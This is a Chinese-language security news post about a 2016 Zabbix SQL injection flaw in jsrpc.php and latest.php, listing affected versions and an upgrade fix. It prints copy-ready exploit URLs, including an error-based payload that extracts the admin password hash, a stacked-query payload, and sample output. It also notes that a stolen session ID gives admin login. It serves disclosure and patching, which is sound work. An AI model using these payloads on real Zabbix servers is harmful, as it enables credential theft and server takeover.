zabbix再爆高危SQL注入漏洞,可获操作系统权限

2016-08-18 11,841

漏洞概述

zabbix是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

zabbixjsrpcprofileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

影响程度

攻击成本:低

危害程度:高

是否登陆:不需要

利用条件:需要启用guest账号

影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)

漏洞插件:Zabbix前台jsrpc.php SQL注入漏洞

漏洞测试

在您的zabbix的地址后面加上如下url:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim

estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi

story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil

e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=

17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&

mark_color=1

输出结果,出现如下图黄色关键字"

You have an error in your SQL syntax"

表示漏洞存在:

injection

 

安全脉搏提供EXP:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2
&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph
&profileIdx2=(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select passwd from  users limit 0,1),0x7e))) 
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297
&action=showlatest&filter=&filter_task=&mark_color=1

 

出来的结果类似如下 即注入出了用户passwd,当然也可以直接注入sessionid

 [Duplicate entry '~cd7xxxxxxxxe66d9f4b2c6wwwwwww655~1' for key 'group_key']</li></ul></td></tr></table>

 

补充:

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。

有经验的攻击者可以直接通过获取adminsessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

修复方案:

哥哥们还是尽快先去升级到最新版吧,据说3.0.4版本已经修补。。。

安全提示

监控系统监控着每个企业的核心资产,一旦被黑客入侵控制,等同帮助黑客进一步渗透企业敞开了大门。

请大家务必重视,并尽快修补此漏洞。

漏洞报告详情:http://seclists.org/fulldisclosure/2016/Aug/82

zabbix官方:https://support.zabbix.com/browse/ZBX-11023

Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL injection vulnerability due to a failure to sanitize input in the toggle_ids array in the latest.php page.

For example:
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

Result

SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
latest.php:746 → require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185

其他zabbix历史漏洞回顾参见:Zabbix的前台SQL注射漏洞利用

【信息来源 fulldisclosure+三矛科技  安全脉搏整理发布】

本文作者:SecPulse

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/51168.html

Tags:
评论  (1)
快来写下你的想法吧!

SecPulse

文章数:98 积分: 289

气质和实力并兼的男人

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号